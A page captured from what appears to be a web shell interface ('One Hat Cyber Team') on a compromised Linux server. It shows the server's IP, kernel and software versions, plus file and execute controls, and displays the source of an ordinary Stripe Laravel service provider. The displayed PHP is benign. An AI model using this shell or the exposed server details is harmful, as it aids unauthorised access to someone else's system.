⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.74
Server IP:
13.127.59.50
Server:
Linux ip-172-31-46-210 5.15.0-1033-aws #37~20.04.1-Ubuntu SMP Fri Mar 17 11:39:30 UTC 2023 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.3-4ubuntu2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ubuntu
/
vendor
/
cartalyst
/
stripe-laravel
/
src
/
View File Name :
StripeServiceProvider.php
<?php /* * Part of the Stripe Laravel package. * * NOTICE OF LICENSE * * Licensed under the 3-clause BSD License. * * This source file is subject to the 3-clause BSD License that is * bundled with this package in the LICENSE file. * * @package Stripe Laravel * @version 12.0.0 * @author Cartalyst LLC * @license BSD License (3-clause) * @copyright (c) 2011-2020, Cartalyst LLC * @link https://cartalyst.com */ namespace Cartalyst\Stripe\Laravel; use Cartalyst\Stripe\Config; use Cartalyst\Stripe\Stripe; use Cartalyst\Stripe\ConfigInterface; use Illuminate\Support\ServiceProvider; class StripeServiceProvider extends ServiceProvider { /** * {@inheritdoc} */ public function register() { $this->registerStripe(); $this->registerConfig(); } /** * {@inheritdoc} */ public function provides() { return [ 'stripe', 'stripe.config', ]; } /** * Register the Stripe API class. * * @return void */ protected function registerStripe() { $this->app->singleton('stripe', function ($app) { $config = $app['config']->get('services.stripe'); $secret = $config['secret'] ?? null; $version = $config['version'] ?? null; return new Stripe($secret, $version); }); $this->app->alias('stripe', Stripe::class); } /** * Register the config class. * * @return void */ protected function registerConfig() { $this->app->singleton('stripe.config', function ($app) { return $app['stripe']->getConfig(); }); $this->app->alias('stripe.config', Config::class); $this->app->alias('stripe.config', ConfigInterface::class); } }